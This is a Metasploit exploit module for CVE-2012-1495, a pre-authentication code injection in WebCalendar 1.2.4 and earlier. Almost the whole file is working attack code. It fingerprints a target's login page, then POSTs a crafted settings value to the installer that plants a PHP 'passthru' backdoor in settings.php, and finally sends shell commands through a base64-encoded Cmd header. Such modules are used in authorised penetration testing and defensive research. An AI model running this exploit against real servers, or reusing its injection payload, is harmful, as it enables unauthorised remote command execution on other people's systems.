WebCalendar 1.2.4 Pre-Auth Remote Code Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
   'Description'    => %q{
     This modules exploits a vulnerability found in WebCalendar, version 1.2.4 or
    less.  If not removed, the settings.php script meant for installation can be
    update by an attacker, and then inject code in it.  This allows arbitrary code
    execution as www-data.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'EgiX',   #Initial discovery & PoC
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2012-1495'],
     ['URL', '18775']
    ],
   'Arch'           => ARCH_CMD,
   'Platform'       => ['unix', 'linux'],
   'Compat'         =>
    {
     'PayloadType' => 'cmd'
    },
   'Targets'        =>
    [
     ['WebCalendar 1.2.4 on Linux', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 23 2012",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
    ], self.class)
 end

 def check
  uri = target_uri.path
  uri << '/' if uri[-1, 1] != '/'

  res = send_request_raw({
   'method' => 'GET',
   'uri'    => "#{uri}/login.php"
  })

  if res and res.body =~ /WebCalendar v1.2.\d/
   return Exploit::CheckCode::Vulnerable
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  peer = "#{rhost}:#{rport}"

  uri = target_uri.path
  uri << '/' if uri[-1, 1] != '/'

  print_status("#{peer} - Housing php payload...")

  # Allow commands to be passed as a header.
  # We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
  post_data  = "app_settings=1"
  post_data << "&form_user_inc=user.php"
  post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
  post_data << "\n"*2
  send_request_cgi({
   'method'    => 'POST',
   'uri'       => "#{uri}install/index.php",
   'data'      => post_data
  })

  print_status("#{peer} - Loading our payload...")

  # Execute our payload
  send_request_raw({
   'method' => 'GET',
   'uri'    => "#{uri}includes/settings.php",
   'headers' => {
    'Cmd' => Rex::Text.encode_base64(payload.encoded)
   }
  })

  handler
 end
end